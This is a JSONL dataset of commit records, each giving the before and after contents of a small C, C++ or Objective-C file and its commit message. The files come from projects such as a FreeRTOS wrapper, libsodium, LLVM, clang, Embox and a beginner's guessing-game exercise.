{"commit":"5c51a6886e92c6c4fadee9eb484e93ba54b992b9","old_file":"ivory-tower-freertos\/ivory-freertos-wrapper\/freertos_task_wrapper.c","new_file":"ivory-tower-freertos\/ivory-freertos-wrapper\/freertos_task_wrapper.c","old_contents":"\n#include \"freertos_task_wrapper.h\"\n\n#include <FreeRTOS.h>\n#include <task.h>\n\nvoid ivory_freertos_task_create(void (*tsk)(void),\n        uint32_t stacksize, uint8_t priority)\n{\n    xTaskCreate((void (*)(void*)) tsk, \/* this cast is undefined behavior *\/\n            NULL, stacksize, NULL, priority, NULL);\n}\n\nvoid ivory_freertos_task_delay(uint32_t time_ms)\n{   vTaskDelay(time_ms);\n}\n\nvoid ivory_freertos_task_delayuntil(uint32_t *lastwaketime, uint32_t dt)\n{\n    vTaskDelayUntil(lastwaketime, dt);\n}\n\nuint32_t ivory_freertos_task_getmilliscount(void) {\n    return xTaskGetTickCount() \/ portTICK_RATE_MS;\n}\n\nuint32_t ivory_freertos_task_gettickcount(void) {\n    return xTaskGetTickCount();\n}\n\nuint32_t ivory_freertos_millistoticks(uint32_t ms)\n{\n  return time * portTICK_RATE_MS;\n}\n","new_contents":"\n#include \"freertos_task_wrapper.h\"\n\n#include <FreeRTOS.h>\n#include <task.h>\n\nvoid ivory_freertos_task_create(void (*tsk)(void),\n        uint32_t stacksize, uint8_t priority)\n{\n    xTaskCreate((void (*)(void*)) tsk, \/* this cast is undefined behavior *\/\n            NULL, stacksize, NULL, priority, NULL);\n}\n\nvoid ivory_freertos_task_delay(uint32_t time_ms)\n{   vTaskDelay(time_ms);\n}\n\nvoid ivory_freertos_task_delayuntil(uint32_t *lastwaketime, uint32_t dt)\n{\n    vTaskDelayUntil(lastwaketime, dt);\n}\n\nuint32_t ivory_freertos_task_getmilliscount(void) {\n    return xTaskGetTickCount() \/ portTICK_RATE_MS;\n}\n\nuint32_t ivory_freertos_task_gettickcount(void) {\n    return xTaskGetTickCount();\n}\n\nuint32_t ivory_freertos_millistoticks(uint32_t ms)\n{\n  return ms * portTICK_RATE_MS;\n}\n","subject":"Fix bug in ivory wrapper.","message":"Fix bug in ivory wrapper.\n","lang":"C","license":"bsd-3-clause","repos":"GaloisInc\/ivory-tower-stm32,GaloisInc\/tower,GaloisInc\/ivory-tower-stm32,GaloisInc\/ivory-tower-stm32"}
{"commit":"4890773efaf26e681f53447ede232df6eb5ee809","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  for(int i = 1; i <= 3; i++) {\n\n    printf(\"Tentativa %d de 3\\n\", i);\n    printf(\"Qual é o seu chute? \");\n\n    scanf(\"%d\", &chute);\n    printf(\"Seu chute foi %d\\n\", chute);\n\n    int acertou = chute == numerosecreto;\n\n    if(acertou) {\n      printf(\"Parabéns! Você acertou!\\n\");\n      printf(\"Jogue de novo, você é um bom jogador!\\n\");\n\n      break;\n    } else {\n\n      int maior = chute > numerosecreto;\n\n      if(maior) {\n        printf(\"Seu chute foi maior que o número secreto\\n\");\n      } else {\n        printf(\"Seu chute foi menor que o número secreto\\n\");\n      }\n\n      printf(\"Você errou!\\n\");\n      printf(\"Mas não desanime, tente de novo!\\n\");\n    }\n\n  }\n\n  printf(\"Fim de jogo!\\n\");\n\n}\n","new_contents":"#include <stdio.h>\n\n#define NUMERO_DE_TENTATIVAS 5\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  for(int i = 1; i <= NUMERO_DE_TENTATIVAS; i++) {\n\n    printf(\"Tentativa %d de %d\\n\", i, NUMERO_DE_TENTATIVAS);\n    printf(\"Qual é o seu chute? \");\n\n    scanf(\"%d\", &chute);\n    printf(\"Seu chute foi %d\\n\", chute);\n\n    int acertou = chute == numerosecreto;\n\n    if(acertou) {\n      printf(\"Parabéns! Você acertou!\\n\");\n      printf(\"Jogue de novo, você é um bom jogador!\\n\");\n\n      break;\n    } else {\n\n      int maior = chute > numerosecreto;\n\n      if(maior) {\n        printf(\"Seu chute foi maior que o número secreto\\n\");\n      } else {\n        printf(\"Seu chute foi menor que o número secreto\\n\");\n      }\n\n      printf(\"Você errou!\\n\");\n      printf(\"Mas não desanime, tente de novo!\\n\");\n    }\n\n  }\n\n  printf(\"Fim de jogo!\\n\");\n\n}\n","subject":"Update files, Alura, Introdução a C, Aula 2.7","message":"Update files, Alura, Introdução a C, Aula 2.7\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"82c7b125af3eae9e65c1854c53fa1c8633508a2e","old_file":"src\/libsodium\/include\/sodium\/export.h","new_file":"src\/libsodium\/include\/sodium\/export.h","old_contents":"\n#ifndef __SODIUM_EXPORT_H__\n#define __SODIUM_EXPORT_H__\n\n#ifndef __GNUC__\n# ifdef __attribute__\n#  undef __attribute__\n# endif\n# define __attribute__(a)\n#endif\n\n#ifndef SODIUM_STATIC\n# if defined(_MSC_VER)\n#  ifdef DLL_EXPORT\n#   define SODIUM_EXPORT __declspec(dllexport)\n#  else\n#   define SODIUM_EXPORT __declspec(dllimport)\n#  endif\n# else\n#  if defined(__SUNPRO_C)\n#   define SODIUM_EXPORT __attribute__ __global\n#  elif defined(_MSG_VER)\n#   define SODIUM_EXPORT extern __declspec(dllexport)\n#  else\n#   define SODIUM_EXPORT __attribute__ ((visibility (\"default\")))\n#  endif\n# endif\n#endif\n\n#endif\n","new_contents":"\n#ifndef __SODIUM_EXPORT_H__\n#define __SODIUM_EXPORT_H__\n\n#ifndef __GNUC__\n# ifdef __attribute__\n#  undef __attribute__\n# endif\n# define __attribute__(a)\n#endif\n\n#ifdef SODIUM_STATIC\n# define SODIUM_EXPORT\n#else\n# if defined(_MSC_VER)\n#  ifdef DLL_EXPORT\n#   define SODIUM_EXPORT __declspec(dllexport)\n#  else\n#   define SODIUM_EXPORT __declspec(dllimport)\n#  endif\n# else\n#  if defined(__SUNPRO_C)\n#   define SODIUM_EXPORT __attribute__ __global\n#  elif defined(_MSG_VER)\n#   define SODIUM_EXPORT extern __declspec(dllexport)\n#  else\n#   define SODIUM_EXPORT __attribute__ ((visibility (\"default\")))\n#  endif\n# endif\n#endif\n\n#endif\n","subject":"Define an empty SODIUM_EXPORT if SODIUM_STATIC is defined.","message":"Define an empty SODIUM_EXPORT if SODIUM_STATIC is defined.\n","lang":"C","license":"isc","repos":"netroby\/libsodium,optedoblivion\/android_external_libsodium,pyparallel\/libsodium,SpiderOak\/libsodium,Payshare\/libsodium,SpiderOak\/libsodium,donpark\/libsodium,SpiderOak\/libsodium,Payshare\/libsodium,kytvi2p\/libsodium,paragonie-scott\/libsodium,eburkitt\/libsodium,donpark\/libsodium,Payshares\/libsodium,paragonie-scott\/libsodium,netroby\/libsodium,akkakks\/libsodium,kytvi2p\/libsodium,optedoblivion\/android_external_libsodium,mvduin\/libsodium,JackWink\/libsodium,JackWink\/libsodium,pyparallel\/libsodium,soumith\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,mvduin\/libsodium,soumith\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,GreatFruitOmsk\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,optedoblivion\/android_external_libsodium,akkakks\/libsodium,HappyYang\/libsodium,eburkitt\/libsodium,GreatFruitOmsk\/libsodium,JackWink\/libsodium,zhuqling\/libsodium,Payshares\/libsodium,mvduin\/libsodium,paragonie-scott\/libsodium,rustyhorde\/libsodium,pmienk\/libsodium,GreatFruitOmsk\/libsodium,pmienk\/libsodium,HappyYang\/libsodium,akkakks\/libsodium,akkakks\/libsodium,Payshares\/libsodium,Payshare\/libsodium,tml\/libsodium,zhuqling\/libsodium,eburkitt\/libsodium,soumith\/libsodium,tml\/libsodium,rustyhorde\/libsodium,rustyhorde\/libsodium,donpark\/libsodium,rustyhorde\/libsodium,pyparallel\/libsodium,HappyYang\/libsodium,tml\/libsodium,zhuqling\/libsodium,pmienk\/libsodium,SpiderOak\/libsodium,netroby\/libsodium,kytvi2p\/libsodium"}
{"commit":"42b8a1ed96ee13738b52cfe9ce9a48abc90c1e09","old_file":"Fountain\/Common\/FTMutableDataSource.h","new_file":"Fountain\/Common\/FTMutableDataSource.h","old_contents":"\/\/\n\/\/  FTMutableDataSource.h\n\/\/  Fountain\n\/\/\n\/\/  Created by Tobias Kraentzer on 15.09.15.\n\/\/  Copyright © 2015 Tobias Kräntzer. All rights reserved.\n\/\/\n\n#import \"FTDataSource.h\"\n\n@protocol FTMutableDataSource <FTDataSource>\n\n#pragma mark Insertion\n- (BOOL)canInsertItem:(id)item;\n- (NSIndexPath *)insertItem:(id)item atProposedIndexPath:(NSIndexPath *)proposedIndexPath error:(NSError **)error;\n\n#pragma mark Editing\n- (BOOL)canEditItemAtIndexPath:(NSIndexPath *)indexPath;\n\n#pragma mark Deletion\n- (BOOL)canDeleteItemAtIndexPath:(NSIndexPath *)indexPath;\n- (void)deleteItemAtIndexPath:(NSIndexPath *)indexPath __attribute__((deprecated));\n- (BOOL)deleteItemAtIndexPath:(NSIndexPath *)indexPath error:(NSError **)error;\n\n@end\n","new_contents":"\/\/\n\/\/  FTMutableDataSource.h\n\/\/  Fountain\n\/\/\n\/\/  Created by Tobias Kraentzer on 15.09.15.\n\/\/  Copyright © 2015 Tobias Kräntzer. All rights reserved.\n\/\/\n\n#import \"FTDataSource.h\"\n\n@protocol FTMutableDataSource <FTDataSource>\n\n#pragma mark Insertion\n- (BOOL)canInsertItem:(id)item;\n- (NSIndexPath *)insertItem:(id)item atProposedIndexPath:(NSIndexPath *)proposedIndexPath error:(NSError **)error;\n\n#pragma mark Editing\n- (BOOL)canEditItemAtIndexPath:(NSIndexPath *)indexPath;\n\n#pragma mark Deletion\n- (BOOL)canDeleteItemAtIndexPath:(NSIndexPath *)indexPath;\n- (BOOL)deleteItemAtIndexPath:(NSIndexPath *)indexPath error:(NSError **)error;\n\n@end\n","subject":"Remove leftover method in protocol","message":"Remove leftover method in protocol\n","lang":"C","license":"bsd-3-clause","repos":"anagromataf\/Fountain,anagromataf\/Fountain"}
{"commit":"60f27ff87983ef1fe55095c6ff10ce7406e3f3bd","old_file":"include\/llvm\/CodeGen\/MachineLocation.h","new_file":"include\/llvm\/CodeGen\/MachineLocation.h","old_contents":"","new_contents":"\/\/===-- llvm\/CodeGen\/MachineLocation.h --------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by James M. Laskey and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ The MachineLocation class is used to represent a simple location in a machine\n\/\/ frame.  Locations will be one of two forms; a register or an address formed\n\/\/ from a base address plus an offset.\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef LLVM_CODEGEN_MACHINELOCATION_H\n#define LLVM_CODEGEN_MACHINELOCATION_H\n\nnamespace llvm {\n\nclass MachineLocation {\nprivate:\n  bool IsRegister;                      \/\/ True if location is a register.\n  unsigned Register;                    \/\/ gcc\/gdb register number.\n  int Offset;                           \/\/ Displacement if not register.\n\npublic:\n  MachineLocation()\n  : IsRegister(false)\n  , Register(0)\n  , Offset(0)\n  {}\n  MachineLocation(unsigned R)\n  : IsRegister(true)\n  , Register(R)\n  , Offset(0)\n  {}\n  MachineLocation(unsigned R, int O)\n  : IsRegister(false)\n  , Register(R)\n  , Offset(0)\n  {}\n  \n  \/\/ Accessors\n  bool isRegister()      const { return IsRegister; }\n  unsigned getRegister() const { return Register; }\n  int getOffset()        const { return Offset; }\n  void setIsRegister(bool Is)  { IsRegister = Is; }\n  void setRegister(unsigned R) { Register = R; }\n  void setOffset(int O)        { Offset = O; }\n  void set(unsigned R) {\n    IsRegister = true;\n    Register = R;\n    Offset = 0;\n  }\n  void set(unsigned R, int O) {\n    IsRegister = false;\n    Register = R;\n    Offset = O;\n  }\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Support for locating of debug items in frames.","message":"Support for locating of debug items in frames.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@26984 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap"}
{"commit":"05f753b996a6ea712ab06787190fb3287610fc59","old_file":"include\/clang\/AST\/TargetBuiltins.h","new_file":"include\/clang\/AST\/TargetBuiltins.h","old_contents":"\/\/===--- TargetBuiltins.h - Target specific builtin IDs -------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Anders Carlsson and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_AST_TARGET_BUILTINS_H\n#define LLVM_CLANG_AST_TARGET_BUILTINS_H\n\n#include \"clang\/AST\/Builtins.h\"\n\nnamespace clang {\n\n\/\/\/ X86 builtins\nnamespace X86 {\n    enum {\n        LastTIBuiltin = clang::Builtin::FirstTSBuiltin-1,\n#define BUILTIN(ID, TYPE, ATTRS) BI##ID,\n#include \"X86Builtins.def\"\n        LastTSBuiltin\n    };\n}\n\n\/\/\/ PPC builtins\nnamespace PPC {\n    enum {\n        LastTIBuiltin = clang::Builtin::FirstTSBuiltin-1,\n#define BUILTIN(ID, TYPE, ATTRS) BI##ID,\n#include \"PPCBuiltins.def\"\n        LastTSBuiltin\n    };\n}\n\n}\n\n#endif\n","new_contents":"\/\/===--- TargetBuiltins.h - Target specific builtin IDs -------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Anders Carlsson and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_AST_TARGET_BUILTINS_H\n#define LLVM_CLANG_AST_TARGET_BUILTINS_H\n\n#include \"clang\/AST\/Builtins.h\"\n\n\/\/\/ X86 builtins\nnamespace X86 {\n    enum {\n        LastTIBuiltin = clang::Builtin::FirstTSBuiltin-1,\n#define BUILTIN(ID, TYPE, ATTRS) BI##ID,\n#include \"X86Builtins.def\"\n        LastTSBuiltin\n    };\n}\n\n\/\/\/ PPC builtins\nnamespace PPC {\n    enum {\n        LastTIBuiltin = clang::Builtin::FirstTSBuiltin-1,\n#define BUILTIN(ID, TYPE, ATTRS) BI##ID,\n#include \"PPCBuiltins.def\"\n        LastTSBuiltin\n    };\n}\n\n#endif\n","subject":"Revert change that broke the build.","message":"Revert change that broke the build.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@44808 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"310f90109c4f4aeaaa50417e467ec7fc8c66d08b","old_file":"chapter01\/log.h","new_file":"chapter01\/log.h","old_contents":"#ifndef LOG_H\n#define LOG_H\n\n#include <time.h>\n\ntypedef struct data_struct {\n    time_t time;\n    char *string;\n} data_t;\n\nint addmsg(data_t data);\nvoid clearlog(void);\nchar *getlog(void);\nint savelog(char *filename);\n\n#endif\n","new_contents":"#ifndef LOG_H\n#define LOG_H\n\n#include <time.h>\n\ntypedef struct data_struct {\n    time_t time;\n    char *string;\n} data_t;\n\nint addmsg(data_t data);\nvoid clearlog(void);\nchar *getlog(void);\nint savelog(const char *filename);\n\n#endif\n","subject":"Make the char * parameter as const char *","message":"Make the char * parameter as const char *\n","lang":"C","license":"bsd-2-clause","repos":"abhinav-upadhyay\/unix-systems-programming"}
{"commit":"1bc8e14e5857e509cda58858e101641a7c7ea4a4","old_file":"src\/kernel\/sched\/strategy\/sched_strategy.h","new_file":"src\/kernel\/sched\/strategy\/sched_strategy.h","old_contents":"\/**\n * @file\n * @brief\n *\n * @date 06.03.2013\n * @author Anton Bulychev\n *\/\n\n#ifndef KERNEL_THREAD_SCHED_STRATEGY_H_\n#define KERNEL_THREAD_SCHED_STRATEGY_H_\n\n#include <kernel\/sched\/affinity.h>\n#include <kernel\/sched\/runq.h>\n#include <kernel\/sched\/sched_timing.h>\n#include <kernel\/sched\/sched_priority.h>\n\nstruct runq {\n\trunq_t queue;\n};\n\nstruct sched_attr {\n\trunq_item_t runq_link;\n\taffinity_t affinity;\n\tsched_timing_t sched_time;\n\tthread_priority_t thread_priority;\n};\n\n#endif \/* KERNEL_THREAD_SCHED_STRATEGY_H_ *\/\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @date 06.03.2013\n * @author Anton Bulychev\n *\/\n\n#ifndef KERNEL_THREAD_SCHED_STRATEGY_H_\n#define KERNEL_THREAD_SCHED_STRATEGY_H_\n\n#include <kernel\/spinlock.h>\n#include <kernel\/sched\/affinity.h>\n#include <kernel\/sched\/runq.h>\n#include <kernel\/sched\/sched_timing.h>\n#include <kernel\/sched\/sched_priority.h>\n\nstruct runq {\n\trunq_t     queue;\n\tspinlock_t lock;\n};\n\nstruct sched_attr {\n\trunq_item_t runq_link;\n\taffinity_t affinity;\n\tsched_timing_t sched_time;\n\tthread_priority_t thread_priority;\n};\n\n#endif \/* KERNEL_THREAD_SCHED_STRATEGY_H_ *\/\n","subject":"Add lock to runq struct","message":"sched: Add lock to runq struct","lang":"C","license":"bsd-2-clause","repos":"Kefir0192\/embox,embox\/embox,Kakadu\/embox,abusalimov\/embox,Kefir0192\/embox,gzoom13\/embox,gzoom13\/embox,gzoom13\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,abusalimov\/embox,mike2390\/embox,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kakadu\/embox,embox\/embox,gzoom13\/embox,abusalimov\/embox,embox\/embox,Kefir0192\/embox,embox\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,Kefir0192\/embox,vrxfile\/embox-trik,abusalimov\/embox,mike2390\/embox,gzoom13\/embox,vrxfile\/embox-trik,embox\/embox,Kefir0192\/embox,Kefir0192\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,mike2390\/embox,embox\/embox,Kakadu\/embox,vrxfile\/embox-trik"}
